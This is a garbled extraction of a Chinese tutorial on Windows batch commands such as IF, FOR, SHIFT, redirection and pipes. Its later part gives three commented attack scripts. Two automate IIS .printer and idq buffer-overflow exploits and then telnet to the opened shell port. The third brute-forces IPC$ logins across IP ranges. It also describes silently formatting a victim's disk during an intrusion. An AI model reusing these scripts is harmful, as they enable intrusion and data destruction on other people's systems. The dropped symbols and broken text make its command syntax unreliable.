




版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進行舉報或認領(lǐng)
文檔簡介
1、從簡單學起echo、 、 call、pause、 rem 是批處理文件最常用的幾個命令,我們就從他們開始學起。 echo 表示顯示此命令后的字符echo off 表示在此語句后所有運行的命令都不顯示命令行本身 與 echo off 相象,但它是加在其它命令行的最前面,表示運行時不顯示命令行本身。call 調(diào)用另一條批處理文件(如果直接調(diào)用別的批處理文件,執(zhí)行完那條文 件后將無法執(zhí)行當前文件后續(xù)命令)pause 運行此句會暫停,顯示 Press any key to continue.等. 待用戶按任意鍵 后繼續(xù)rem 表示此命令后的字符為解釋行,不執(zhí)行,只是給自己今后查找用的 批處理命令大全(
2、一)第一部分:批處理的專用命令 批處理文件是將一系列命令按一定的順序集合為一個可執(zhí)行的文本文件,其擴展名為BAT。這些命令統(tǒng)稱批處理命令,下面我就來給大家介紹一下批處理的命令。1、REMREM 是個注釋命令一般是用來給程序加上注解的,該命令后的內(nèi)容在程序執(zhí)行的時候?qū)⒉粫伙@示和執(zhí)行。例:REM 你現(xiàn)在看到的就是注解,這一句將不會被執(zhí)行。在以后的例子中解釋的內(nèi)容都REM會放在REM后面。請大家注意。2、ECHOECHO是一個回顯命令主要參數(shù)有 OFF和ON,般用ECHOmessag來顯示-個特定的消息。例:Echo offRem以上代表關(guān)閉回顯即不顯示所執(zhí)行的命令Echo這個就是消息Rem 以上
3、代表顯示 “這就是消息 ”這列字符執(zhí)行結(jié)果:C:這個就是消息。3、GOTOGOTO即為跳轉(zhuǎn)的意思。在批處理中允許以 :XXX來構(gòu)建一個標號然后用 GOTO標號直接來執(zhí)行標號后的命令。例:LABELREM上面就是名為LABEL的標號。DIR C:DIR D:GOTO LABELREM以上程序跳轉(zhuǎn)標號LABEL處繼續(xù)執(zhí)行。4、CALLCALL命令可以在批處理執(zhí)行過程中調(diào)用另一個批處理,當另一個批處理執(zhí) 行完后再繼續(xù)執(zhí)行原來的批處理。例:批處理內(nèi)容如下:ECHO這就是2的內(nèi)容批處理內(nèi)容如下:ECHO這是1的內(nèi)容CALLECHO 1和 2 的內(nèi)容全部顯示完成執(zhí)行結(jié)果如下:C:這是 1 的內(nèi)容這就是 2
4、 的內(nèi)容1和 2的內(nèi)容全部顯示完成5、PAUSEPAUSE亭止系統(tǒng)命令的執(zhí)行并顯示下面的內(nèi)容。例:C: PAUSE請按任意鍵繼續(xù) . . .6、IFIF 條件判斷語句,語法格式如下:IF NOT ERRORLEVEL number commandIF NOT string1=string2 commandIF NOT EXIST filename command說明:NOT將返回的結(jié)果取反值即 如果沒有”的意思。ERRORLEVE是命令執(zhí)行完成后返回的退出值Number 退出值的數(shù)字取值范圍 0255。判斷時值的排列順序應(yīng)該又大到 小。返回的值大于或等于指定的值時條件成立。string1=st
5、ring2 string1 和 string2 都為字符的數(shù)據(jù),英文字符的大小寫將看 做不同,這個條件中的等于號必須是 2 個(絕對相等),條件想等后即執(zhí)行后 面的 commandEXIST file name為文件或目錄存在的意思。IFERRORLEVE這條語句必須放在某一個命令后面。執(zhí)行命令后由IFERRORLEVEIL判斷命令的返回值。例:1、IF NOT ERRORLEVEL number command檢測命令執(zhí)行完后的返回值做出判斷。echo offdir z:rem 如果退出代碼為 1(不成功)就跳至標題 1 處執(zhí)行IF ERRORLEVEL 1 goto 1rem 如果退出代碼
6、為 0(成功)就跳至標題 0 處執(zhí)行IF ERRORLEVEL 0 goto 0:0echo 命令執(zhí)行成功!Rem 程序執(zhí)行完畢跳至標題 exit 處退出goto exit:1echo 命令執(zhí)行失??!Rem 程序執(zhí)行完畢跳至標題 exit 處退出goto exit:exitRem這里是程序的出口2、IF string1=string2 command 檢測當前變量的值做出判斷ECHO OFFIF %1=2 goto noEcho變量相等!Goto exit:noecho 變量不相等goto exit:exit大家可以這樣看效果C:數(shù)字3、IF NOT EXIST filename comman
7、d 發(fā)現(xiàn)特定的文件做出判斷echo offIF not EXIST goto 1 echo 文件存在成功! goto exit:1echo 文件不存在失??!goto exit:exit這個批處理大家可以放在c盤和d盤分別執(zhí)行看看效果。7、FORFOR這個命令比較特殊是一個循環(huán)執(zhí)行命令的命令,同時FOR的循環(huán)里面還可以套用FOR在進行循環(huán)。這篇我們介紹基本的用法就不做套用的循環(huán)了, 后面再來講解套用的循環(huán)。在批處理中 FOR的命令如下:FOR %c IN (set) DO command arguments在命令行中命令如下:FOR %c IN (set) DO command argument
8、s常用參數(shù):/L 該集表示以增量形式從開始到結(jié)束的一個數(shù)字序列。因此,(1,1,5)將產(chǎn)生序列 1 2 3 4 5, (5,-1,1)將產(chǎn)生序列 (5 4 3 2 1)。/D 如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。/F 從指定的文件中讀取數(shù)據(jù)作為變量eol=c-指一個行注釋字符的結(jié)尾 (就一個 )skip=n-指在文件開始時忽略的行數(shù)。delims=xxx-指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n -指每行的哪一個符號被傳遞到每個迭代的for 本身。這會導致額外變量名稱的分配。m-n格式為一個范圍。通過nth符號指定mth。如果符 號字
9、符串中的最后一個字符星號,那么額外的變量將在最后一個符號解析之后 分配并接受行的保留文本。usebackq-指定新語法已在下類情況中使用 :在作為命令執(zhí)行一個后引號的字符串并且一個單引號字符為文字字符串命令并允許在 filenameset 中使 用雙引號擴起文件名稱。下面來看一個例子:FOR /F eol二;toke ns=2,3* delims二,%i in do echo %i %j %會分析中的每 一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程 序體;用逗號和 /或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取 得第二個符號,引用%j來取得
10、第三個符號,引用%k來取得第三個符號后的所有 剩余符號。對于帶有空格的文件名,您需要用雙引號將文件名括起來。為了用 這種方式來使用雙引號,您還需要使用 usebackq選項,否則,雙引號會被理解 成是用作定義某個要分析的字符串的。%i專門在for語句中得到說明,%j和%k是通過toke門5=選項專門得到說明 的。您可以通過tokens二一行指定最多26個符號,只要不試圖說明一個高于字 母z或Z的變量。請記住,F(xiàn)OR變量名分大小寫,是通用的;而且,同時不能有 52個以上都在使用中。您還可以在相鄰字符串上使用FOR/F分析邏輯;方法是,用單引號將括號之間的 filenameset 括起來。這樣,該
11、字符串會被當作一個 文件中的一個單一輸入行。最后,您可以用 FOR/F命令來分析命令的輸出。方 法是,將括號之間的 filenameset 變成一個反括字符串。該字符串會被當作命令行,傳遞到一個子,其輸出會被抓進內(nèi)存,并被當 作文件分析。因此,以下例子 :FOR /F usebackq delims= %i IN (set) DO echo 會枚舉當前環(huán)境中的環(huán) 境變量名稱。以下列舉一個簡單的例子,他將說明參數(shù) /L 和沒有參數(shù)的區(qū)別:刪除文件例:ECHO OFFFOR /L %F IN (1,1,5) DO DEL %FOR %F IN (1,2,3,4,5) DO DEL %以上 2 條命
12、令執(zhí)行的結(jié)果都是一樣的如下:C:DELC:DELC:DELC:DELC:DEL8、SETLOCAL開始批處理文件中環(huán)境改動的本地化操作。在執(zhí)行 SETLOCA之后所做的環(huán) 境改動只限于批處理文件。要還原原先的設(shè)置,必須執(zhí)行 ENDLOCAL達到批處 理文件結(jié)尾時,對于該批處理文件的每個尚未執(zhí)行的 SETLOCA命令,都會有一 個隱含的ENDLOCA被執(zhí)行。例:ECHO OFFSET PATH/* 察看環(huán)境變量 PATHPAUSESETLOCALSET PATH=E:TOOLS /* 重新設(shè)置環(huán)境變量 PATHSET PATHPAUSEENDLOCALSET PATH從上例我們可以看到環(huán)境變量
13、PATH第1次被顯示得時候是系統(tǒng)默認路徑。 被設(shè)置成了 E:TOOLS后顯示為E:TOOLS旦當ENDLOCA后我們可以看到他又被 還原成了系統(tǒng)的默認路徑。但這個設(shè)置只在該批處理運行的時候有作用。當批 處理運行完成后環(huán)境變量PATH將會還原。9、SHIFTSHIFT命令可以讓在命令上的的命令使用超過 10個(0%9以上的可替 代參數(shù)例:ECHO OFFECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %1 %2 %3 %4 %5 %6 %7 %8 %9執(zhí)行結(jié)果如下:C: 1 2 3 4 5
14、6 7 8 9 10 111 2 3 4 5 6 7 8 92 3 4 5 6 7 8 9 103 4 5 6 7 8 9 10 11以上就是基于 WIN2000下的9個批處理命令。批處理命令大全(二)2007-05-10 11:49第二部分:特殊的符號與批處理在命令行下有些符號是不允許使用的旦有些符號卻有著特殊的意義。1 、符號 ()在批處理中的意思是關(guān)閉當前行的回顯。我們從上面知道用命令echo off可以關(guān)掉整個批處理的命令回顯但卻不能不顯示 echo off 這個命令?,F(xiàn)在我們 在這個命令前加上 這樣 echooff 這一命令就被 關(guān)閉了回顯從而達到所有命令 均不回顯得要求2、符號 (
15、)的意思是傳遞并覆蓋。他所起的作用是將運行后的回顯結(jié)果傳遞到后面的 范圍(后面可是文件也可是默認的系統(tǒng)控制臺)例:文件的文件內(nèi)容為:1+1使用命令 c:dir *.txt 這時候的內(nèi)容如下驅(qū)動器 C 中的卷沒有標簽。卷的序列號是 301A-1508的目錄2003-03-11 14:041,0052003-04-04 16:3818,598,4942003-04-04 17:0252003-03-12 11:4305 個文件 18,630,070 字節(jié)0 個目錄 1,191,542,784 可用字節(jié)將命令執(zhí)行的結(jié)果覆蓋了原始的文件內(nèi)容。在傳遞給控制臺的時候程序?qū)⒉粫腥魏位仫@(注意:這里的回顯跟
16、 echo off關(guān)掉的回顯不是同一概念。Echo off關(guān)掉的是輸入命令的回顯,這里的回顯 是程序執(zhí)行中或后的回顯)例:C:dir *.txt nul程序?qū)]有任何顯示也不會產(chǎn)生任何痕跡。3、符號 ()符號 的作用與符號 相似,但他們的區(qū)別在于 是傳遞并在文件末尾追 加也可將回顯傳遞給控制臺(用法同上)例:文件內(nèi)同為:1+1使用命令 c:dir *.txt 這時候的內(nèi)容如下1+1驅(qū)動器 C 中的卷沒有標簽。卷的序列號是 301A-1508的目錄2003-03-11 14:041,0052003-04-04 16:3818,598,4942003-04-04 17:022003-03-12 1
17、1:435 個文件 18,630,070 字節(jié)0 個目錄 1,191,542,784 可用字節(jié)將命令執(zhí)行的結(jié)果覆加在了原始的文件內(nèi)容后面4、符號 (|)| 是一個管道傳輸命令意思是將上一命令執(zhí)行的結(jié)果傳遞給下一命令去處 理。例:C:dir c:|find 1508卷的序列號是 301A-1508以上命令的意思為查找的所有并發(fā)現(xiàn)1508字符串。Find的用法請用find/ 自行查看在不使用 format 的自動格式化參數(shù)的時候我是這樣來自動格式化盤片的echo y|fornat a: /s /q /v:system用過 format 命令的人都知道 format 有一個交互對化過程,要使用者輸入
18、 y 來確定當前的命令是否被執(zhí)行。在這個命令前加上echo y并用管道傳輸符|將echo 執(zhí)行的結(jié)果 y 傳遞給 format 從而達到手工輸入 y 的目的(這條命令有危害 性,測試的時候請謹慎)5、符號(八)八是對特殊符號、echo test Atest 從上面可以看出并沒有把 test 寫入文件而是將 test 當字符串顯示了出來。 這個符號在遠程構(gòu)建批處理的時候很有效果。6、符號 (&)&符號允許在一行中使用 2 個以上不同的命令,當?shù)谝粋€命令執(zhí)行失敗將不 影響第 2 個命令的執(zhí)行。例:c: dir z: &dir y: &dir c:以上的命令將會連續(xù)顯示z: y: c盤內(nèi)的內(nèi)容不理會
19、該盤符是否存在。7、符號 (&)&符號也是允許在一行中使用 2 個以上不同的命令,當?shù)谝粋€命令執(zhí)行失 敗后后續(xù)的命令將不會再被執(zhí)行。例:c: dir z: &dir y: &dir c:以上的命令將會提示檢查是否存在Z:盤如果存在則執(zhí)行,如果不存在則停止執(zhí)行所有的后續(xù)命令8、符號( ) 符號允許在字符串中包含空格。進入一個特殊的目錄可以用如下方法例cd “ Program Files ”c:cd progra1c:cd pro*以上方法都可以進入 Program Files目錄9、符號( ,),符號相當于空格。在某些特殊的情況下可以用,來代替空格使用。例:c:dir,c:10、符號 (;);符
20、號當命令相同的時候可以將不同的目標用;隔離開來但執(zhí)行效果不變。如執(zhí)行過程中發(fā)生錯誤則只返回錯誤報告但程序還是會繼續(xù)執(zhí)行。例:DIR C:;D:;E:F:以上的命令相當于DIR C:DIR D:DIR E:DIR F:當然還有些特殊的符號但他們的使用范圍很小我就不再這里一一的說明 了。批處理命令大全(三)第三部分:批處理與變量在批處理中適當?shù)囊米兞繉鼓闼幹频某绦驊?yīng)用面更廣。批處理每 次能處理的變量從 %0%9共 10個。其中 %0默認給批處理的文件名使用。除非 在使用SHIFT命令后%0才能被%1所替代。引用shift命令的例子如果把%1前面 多加上一個 %0那么結(jié)果如下:C: 1 2
21、3 4 5 6 7 8 9 10 111 2 3 4 5 6 7 8 91 2 3 4 5 6 7 8 9 102 3 4 5 6 7 8 9 10 11系統(tǒng)是如何區(qū)分每個變量的呢,系統(tǒng)區(qū)分變量的規(guī)則為字符串中間的空 格,即只要發(fā)現(xiàn)空格就把空格前面的字符當作一個變量而空格后面的字符則作 為另一個變量。如果你的變量是一個當中包含空格的長目錄名這時候你需要用 上一節(jié)特殊符號 8 中所用的引號將他圈起來。例:批處理內(nèi)容為:ECHO %1ECHO %2ECHO %3輸入命令:TEST “ Program FilesProgram FilesProgram FilesProgramFiles在一個復雜的
22、批處理中又可能同時使用的變量會超過10 個這時候會和系統(tǒng)的規(guī)則想沖突那么這個問題怎么解決呢在系統(tǒng)中還有一種變量稱之為環(huán)境變量(使用SET命令可以查看當前系統(tǒng)的環(huán)境變量)如當前系統(tǒng)目錄是 windir% 或SystemRoot%等。當同時使用的參數(shù)超過10個的時候,我們可以把某些在 后面的程序中還要調(diào)用的變量保存為環(huán)境變量。具體用法如SETA=%1S樣我們就命名了一個新的環(huán)境變量 A在調(diào)用變量A的時候要A%這樣調(diào)用,環(huán)境變量 不受SHIFT命令影響。如果要改變一個環(huán)境變量需要重新對其設(shè)置才能改變。當 然也可以進行變量與變量之間的傳遞來達到目的。下面我們來看一個例子,批 處理如下:ECHO OFF
23、SET PASS=%1SHIFTSET PASS1=%1SHIFTECHO %PASS% %PASS1% %1 %2 %3 %4 %5 %6 %7 %8 %9SHIFTECHO %PASS% %PASS1% %9SET PASS=%PASS變量 的傳遞SET PASS1=%9SHIFTECHO %PASS% %PASS1% %9使用命令: C:TEST A B 3 4 5 6 7 8 9 10 K LA B 3 4 5 6 7 8 9 10 I注意:這一行顯示了 11個變量A B L在使用了 3次SHIFT之后%9變成了 LB L 變量的傳遞后的結(jié)果批處理命令大全(四)第四部分:完整案例以上就
24、是批處理的一些用法?,F(xiàn)在我們把這些用法結(jié)合起來詳細的分析一 下目前網(wǎng)上發(fā)布的一些批處理,看看他們是怎么運作的。這里我將列舉三個例 子來詳細分析,為了保持程序的完整我的注釋會加在 /* 后面。例一這個例子是利用對有 .printer 漏洞的主機進行溢出的批處理。用到的程序有 和系統(tǒng)自帶的。 iis5hack 的命令格式為:iis5hack 目標 ip 目標端口 目標版本 溢出連接端口 目標版本為 0-9 這 10 個數(shù)字分別對應(yīng)不同語言版本和 sp 的系統(tǒng)版本,我們編制的批處理使用 的命令格式為開始版本號可有可無。程序如下。echo offif %1%= goto help/* 判斷 %1 是否
25、為空,%1 為目標 ipif%2%=1 goto 1/* 判斷%2是否為 1,為 1 則跳轉(zhuǎn)標志 1if%2%=2 goto 2/*%2 為開始版本號,如果沒有設(shè)置則if%2%=3 goto 3/* 如果存在則從匹配的地方開始執(zhí)行if%2%=4 goto 4if%2%=5 goto 5if%2%=6 goto 6/* 關(guān)閉命令回顯if %2%=7 goto 7if %2%=8 goto 8if not EXIST goto file /* 沒有發(fā)現(xiàn)就執(zhí)行標志 file 段內(nèi)容 ping %1 -n 1 | find Received = 1 /*ping 目標 1 次,從結(jié)果中發(fā)現(xiàn) Recei
26、ved = 1if errorlevel 1 goto error /* 如果返回代碼為 1 則執(zhí)行 error 段(代碼 1 為沒有發(fā)現(xiàn) 0 為發(fā)現(xiàn)并成功執(zhí)行 )iis5hack %1 80 9 88 | find good /*開始溢出目標端口 80 系統(tǒng)代碼 9溢出后 連接端口 88在執(zhí)行結(jié)果中發(fā)現(xiàn)字符串” good溢(出成功后才會有字符串good)if noterrorlevel1gototelnet/* 如果沒有錯誤代碼 1(溢出成功)就執(zhí)行telnet 段的內(nèi)容。 echo 操作系統(tǒng)類型 9 失敗!/ 否則顯示這一句:8 /* 以下代碼內(nèi)容參照上面iis5hack %1 80 8
27、88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類型 8 失敗 !:7iis5hack %1 80 7 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類型 7 失敗 !:6iis5hack %1 80 6 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類型 6 失敗 !:5 iis5hack %1 80 5 88 | find good if not errorlevel 1 goto telnet echo 操
28、作系統(tǒng)類型 5 失敗 !:4iis5hack %1 80 4 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類型 4 失敗 !:3iis5hack %1 80 3 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類型 3 失敗 !:2iis5hack %1 80 2 88 | find good if not errorlevel 1 goto telnet echo 操作系統(tǒng)類型 2 失敗 !:1iis5hack %1 80 1 88 | find good if
29、 not errorlevel 1 goto telnet echo 操作系統(tǒng)類型 1 失敗 !:0iis5hack %1 80 0 88 | find goodif not errorlevel 1 goto telnetecho 操作系統(tǒng)類型 0 失敗 !goto error:telnettelnet %1 88 /* 開始連接目標 ip 的 88 端口 goto exit /* 連接中斷后跳轉(zhuǎn) exit 段:error /*error 段顯示錯誤后的幫助信息echo 可能網(wǎng)絡(luò)不能連接或者對方以修補該漏洞 !請按照下面的格式手工嘗試 一次!echo iis5hack 目標IP WEB端口
30、系統(tǒng)類型開放端口 ECHO中文:0ECHO中文 +sp1:1ECHO英文:2ECHO英文 +sp1:3ECHO日語:4ECHO 日語 +sp1:5ECHOxx:6ECHOxx+sp1:7ECHOx語:8ECHO墨 西哥語 +sp1:9goto exit/*跳轉(zhuǎn) exit 段:file/*file 段顯示文件沒有發(fā)現(xiàn)的信息echo 文件沒有發(fā)現(xiàn) !程序終止運行 !goto exit /* 跳轉(zhuǎn) exit 段:help /*help 段顯示本批處理的使用格式幫助echo 本程序用法如下 :echo iis 目標 ipecho iis 目標 ip 開始的號碼 9-0:exit /*exit 段為程序
31、出口 這個批處理基本沒有什么循環(huán)只是一路走下來。所以代碼比較長難度不大!例二這個例子是用對有 idq 漏洞的機器進行溢出的批處理。使用的程序有和系統(tǒng) 自帶的程序。的用法如下:運行參數(shù) :操作系統(tǒng)類型目的地址 web 端口 1 溢出監(jiān)聽端口 其中,如果輸入命令參數(shù)沒有輸入 ,那么,默認為 :。其中操作系統(tǒng)類型類型的代碼范圍是 0-14。我們編制的批處理使用的命令格式為程序如下:echo off /* 同例一if not EXIST goto file /* 同例一if %1 = goto error/* 同例一ping %1 -n 1 | find Received = 1/* 同例一if er
32、rorlevel 1 goto error1 /* 同例一set b=%1/*創(chuàng)建一個環(huán)境變量b,將變量%1的內(nèi)容傳遞給環(huán)境變量b。變量b的內(nèi)容以后將是目標ipset a=0/* 創(chuàng)建一個環(huán)境變量 a 并指定環(huán)境變量 a 為 0。由于使用整個批處理的循環(huán)所以用 a來做計數(shù)器。:no /*no 段開始if %a%=0 set d=0 /*如果環(huán)境變量a=0則創(chuàng)建環(huán)境變量d設(shè)定環(huán)境變量 d=0。if %a%=1 set d=1 /環(huán)境變量d其實是操作系統(tǒng)類型代碼,用計數(shù)器來控制 其if %a%=2 set d=2 /*變動。if %a%=3 set d=3if %a%=4 set d=4if %a
33、%=5 set d=5if %a%=6 set d=6if %a%=7 set d=7if %a%=9 set d=9if %a%=10 set d=13if %a%=11 set d=14goto 0/* 變量傳遞完成后轉(zhuǎn)到標志 0 處運行:1echo正在執(zhí)行第d%項!與目標%b%不能連接!正在嘗試連接請等候 :0/* 標志 0 開始IISIDQ %d% %b% 80 1 99 |find good /*按格式發(fā)送溢出命令并在結(jié)果中發(fā)現(xiàn)字符串good (發(fā)送代碼成功才會有字符串 good) if errorlevel 1 goto 1 /* 如果沒有 good 字符串則沒有發(fā)送成跳/* 轉(zhuǎn)標
34、志 1 處繼續(xù)嘗試發(fā)送/* 行結(jié)果echo正在執(zhí)行第d%項!/*報告正在溢出的操作系統(tǒng)類型telnet %b% 99/* 連接溢出端口echo./* 顯示一個空行if %d%=14 goto error1 /* 如果操作系統(tǒng)類型為 14則跳轉(zhuǎn) error1 處 (循環(huán)出口)if %d%=13 set a=11/* 開始用計數(shù)器對操作系統(tǒng)代碼重新附值if %d%=9 set a=10if %d%=7 set a=9if %d%=6 set a=7if %d%=5 set a=6if %d%=4 set a=5if %d%=3 set a=4if %d%=2 set a=3if %d%=1 set
35、 a=2if %d%=0 set a=1goto no/* 附值完成跳轉(zhuǎn) no 段執(zhí)行:file/* 以下都是出錯后的幫助提示echo沒有發(fā)現(xiàn)!將該文件和本文件放在同一目錄!goto exit:errorecho錯誤!目標ip不可識別!請使用下面的格式連接!echo idq 目標 IPgoto exit:error1echo 連接沒有成功 !可能目標機器已經(jīng)修補了該漏洞或者網(wǎng)絡(luò)故障所至 !echo 請按照下面的格式手工嘗試 !echo iisidq 目標類型 目標 IP 目標端口 連接方式 溢出端口 echo telnet 目標 ip 溢出端口 :exit/* 整個程序的出口這個批處理采用的整
36、體循環(huán)掌握好計數(shù)器部分就掌握了這個批處理。例三for/l%ain(0,1,255)dofor/l%bin(0,1,255)dofor/l%cin(1,1,254)dofor/ftokens =1,2*%eindonetuse%1.%a.%b.%cipc$ %e /u:%f上面的命令為1條命令。大家可以看出該命令使用了4個FOR來套用的。用法為:C: 218當輸入218回車后該命令會由第1個for取初始值0為%a然 后繼續(xù)取第2個for的初始值0為%b繼續(xù)取第3個for的初始值1為%c最后 一個for是將中的第一段字符作為密碼%e第二段字符作為用戶名%f最后執(zhí) 行命令(這里我把上面的值都帶進去,
37、設(shè)密碼為123 用戶名為 abc)批處理命令 2008-03-25 23:命令打開回顯或關(guān)閉請求回顯功能,或顯示消息。如果沒有任何參數(shù), echo 命 令將顯示當前回顯設(shè)置。語法echo on|off messageSample:echo off / echo hello world在實際應(yīng)用中我們會把這條命令和重定向符號(也稱為管道符號,一般 用 勺結(jié)合來實現(xiàn)輸入一些命令到特定格式的文件中這將在以后的例子中體 現(xiàn)出來。2. 命令表示不顯示 后面的命令,在入侵過程中(例如使用批處理來格式化敵人 的硬盤)自然不能讓對方看到你使用的命令啦。Sample:echo offecho Now initi
38、alizing the program,please wait a minite.format X: /q/u/autoset (format 這個命令是不可以使用 /y 這個參數(shù)的,可喜的是微軟留了 個 autoset 這個參數(shù)給我們,效果和 /y 是一樣的。 )命令指定跳轉(zhuǎn)到標簽,找到標簽后,程序?qū)⑻幚韽南乱恍虚_始的命令。語法:goto label (label是參數(shù),指定所要轉(zhuǎn)向的批處理程序中的行。)Sample:if %1= goto noparmsif %2= goto noparms(如果這里的if、1、%2你不明白的話,先跳過 去,后面會有詳細的解釋。)Rem check par
39、ameters if null show usage:noparmsecho Usage: ServerIP PortNumbergoto end標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來 表示這個字母是標簽, goto 命令就是根據(jù)這個:來尋找下一步跳到到那里。最 好有一些說明這樣你別人看起來才會理解你的意圖啊。命令注釋命令,在 C 語言中相當與 /*/, 它并不會被執(zhí)行,只是起一個注釋的作用,便于別人閱讀和你自己日后修改。Rem MessageSample:Rem Here is the description.命令運行Pause命令時,將顯示下面的消息:Press
40、any key to continue . . .Sample:echo off:begincopy a:*.* d : backecho Please put a new disk into driver Apausegoto begin在這個例子中,驅(qū)動器 A中磁盤上的所有文件均復制到d:back中。顯示的注釋提示您將另一張磁盤放入驅(qū)動器A時,pause命令會使程序掛起,以便您更換磁盤,然后按任意鍵繼續(xù)處理。命令從一個批處理程序調(diào)用另一個批處理程序,并且不終止父批處理程序。 call 命令接受用作調(diào)用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會 在命令行起作用。語法call
41、Drive:PathFileNameBatchParameters:labelargume nts參數(shù)Drive:Path FileName指定要調(diào)用的批處理程序的位置和名稱。file name參數(shù)必須具有.bat或.cmd 擴展名。命令調(diào)用外部程序,所有的DOS命令和命令行程序都可以由start命令來調(diào)用。入侵常用參數(shù):MIN 開始時窗口最小化SEPARAT在分開的空間內(nèi)開始 16位 Windows程序HIGH在HIGH優(yōu)先級類別開始應(yīng)用程序REALTIME在 REALTIME優(yōu)先級類別開始應(yīng)用程序WAIT啟動應(yīng)用程序并等候它結(jié)束parameters 這些為傳送到命令 /程序的參數(shù)執(zhí)行的應(yīng)用
42、程序是 32-位 GUI 應(yīng)用程序時,不等應(yīng)用程序終止就返回命令提 示。如果在命令腳本內(nèi)執(zhí)行,該新行為則不會發(fā)生。命令choice 使用此命令可以讓用戶輸入一個字符,從而運行不同的命令。使用時應(yīng)該加/C:參數(shù),C:后應(yīng)寫提示可輸入的字符,之間無空格。它的返回碼為1234如 : ChoiCe /C:dme defrag,mem,end將顯示defrag,mem,endD,M,ESample:的內(nèi)容如下 :eCho offChoiCe /C:dme defrag,mem,endif errorlevel 3 goto defrag (應(yīng)先判斷數(shù)值最高的錯誤碼)if errorlevel 2 got
43、o memif errotlevel 1 goto end:defragC:dosdefraggoto end:memmemgoto end:endecho good bye此文件運行后,將顯示defrag,mem,endD,M,E用戶可選擇dme,然后if語 句將作出判斷, d 表示執(zhí)行標號為 defrag 的程序段, m 表示執(zhí)行標號為 mem 的 程序段,e表示執(zhí)行標號為end的程序段,每個程序段最后都以 goto end將程 序跳到end標號處,然后程序?qū)@示good bye,文件結(jié)束。命令if 表示將判斷是否符合規(guī)定的條件,從而決定執(zhí)行不同的命令。有三種格式:1、if 參數(shù) = 字符
44、串待執(zhí)行的命令 參數(shù)如果等于指定的字符串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)如 if %1=a format a:if %1= goto noparmsif %2= goto noparms2、if exist文件名待執(zhí)行的命令如果有指定的文件,則條件成立,運行命令,否則運行下一句。如 if exist edit3、if errorlevel / if not errorlevel 數(shù)字待執(zhí)行的命令如果返回碼等于指定的數(shù) 字,則條件成立,運行命令,否則運行下一句。如 if errorlevel 2 goto x2DOS程序運行時都會返回一個數(shù)字給 DOS稱為錯誤碼erro
45、rlevel或稱返回 碼,常見的返回碼為 0、 1。命令for 命令是一個比較復雜的命令,主要用于參數(shù)在指定的范圍內(nèi)循環(huán)執(zhí)行命 令。在批處理文件中使用FOR命令時,指定變量請使用 %variablefor%variable|%variablein(set)docommand CommandLineOptions%variable 指定一個單一字母可替換的參數(shù)。(set)指定一個或一組文件??梢允褂猛ㄅ浞?。command 指定對每個文件執(zhí)行的命令。command-parameters 為特定命令指定參數(shù)或命令行開關(guān)。在批處理文件中使用FOR命令時,指定變量請使用%variable而不要 用var
46、iable。變量名稱是區(qū)分大小寫的,所以 %i不同于%I如果命令擴展名被啟 用,下列額外的FOR命令格式會受到支持 :FOR /D %variable IN (set) DO comma nd comma nd-parameter如果集中包含 通配符,則指定與目錄名匹配,而不與文件名匹配。FOR /R drive:path %variable IN (set) DO comma nd comma nd檢查以 drive:path 為根的目錄樹,指向每個目錄中的FOR語句。如果在/R后沒有指定目錄,則使用當前目錄。如果集僅為一個單點 (.)字符,則枚舉該目錄樹。FOR /L%variablelN
47、(start,step,e nd)DOcomma ndcomma nd-pard亥集表示以增 量形式從開始到結(jié)束的一個數(shù)字序列。因此, (1,1,5)將產(chǎn)生序列 1 2 3 4 5, (5,-1,1)將產(chǎn)生序列(5 4 3 2 1)。FOR /F options %variable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (comma nd) DO comma nd 或者,如果有 usebackq 選項:FOR /F options %v
48、ariable IN (file-set) DO commandFOR /F options %variable IN (string) DO commandFOR /F options %variable IN (comma nd) DO comma ndfile nameset 為一個或多個文件名。繼續(xù)至 U file nameset 中的下一個文件之前,每份文件都已被打開、讀取并經(jīng)過處理。處理包括讀取文件,將其分成一行行的文字,然后將每行解析成零或更多的符號。然后用已找至的符號字符串變量值調(diào)用 For 循 環(huán)。以默認方式, /F 通過每個文件的每一行中分開的第一個空白符號。跳過空 白行。
49、您可通過指定可選 options 參數(shù)替代默認解析操作。這個帶引號的字符 串包括一個或多個指定不同解析選項的關(guān)鍵字。這些關(guān)鍵字為 :eol=c -指一個行注釋字符的結(jié)尾 (就一個)skip=n -指在文件開始時忽略的行數(shù)。delims=xxx -指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n -指每行的哪一個符號被傳遞至每個迭代的 for 本身。這會導致額外變量名稱的格式為一個范圍。通過 nth 符號指定 m符號字符串中的最后一個字符星號,那么額外的變量將在最后一個符號解析之分配并接受行的保留文本。usebackq -指定新語法已在下類情況中使用 :在作為命令執(zhí)
50、行一個后引號的字符串并且引號字符為文字字符串命令并允許在 fi中使用雙引號擴起文件名稱。sample1:FOR /F eol=; tokens=2,3* delims=, %i in do command 會分析中的每一行, 忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和 / 或空格定界符 號。請注意,這個for程序體的語句引用i來取得第二個符號,引用%j來取得 第三個符號,引用 %k來取得第三個符號后的所有剩余符號。對于帶有空格的文件名,您需要用 雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq選項,否則,雙引號會被理解成
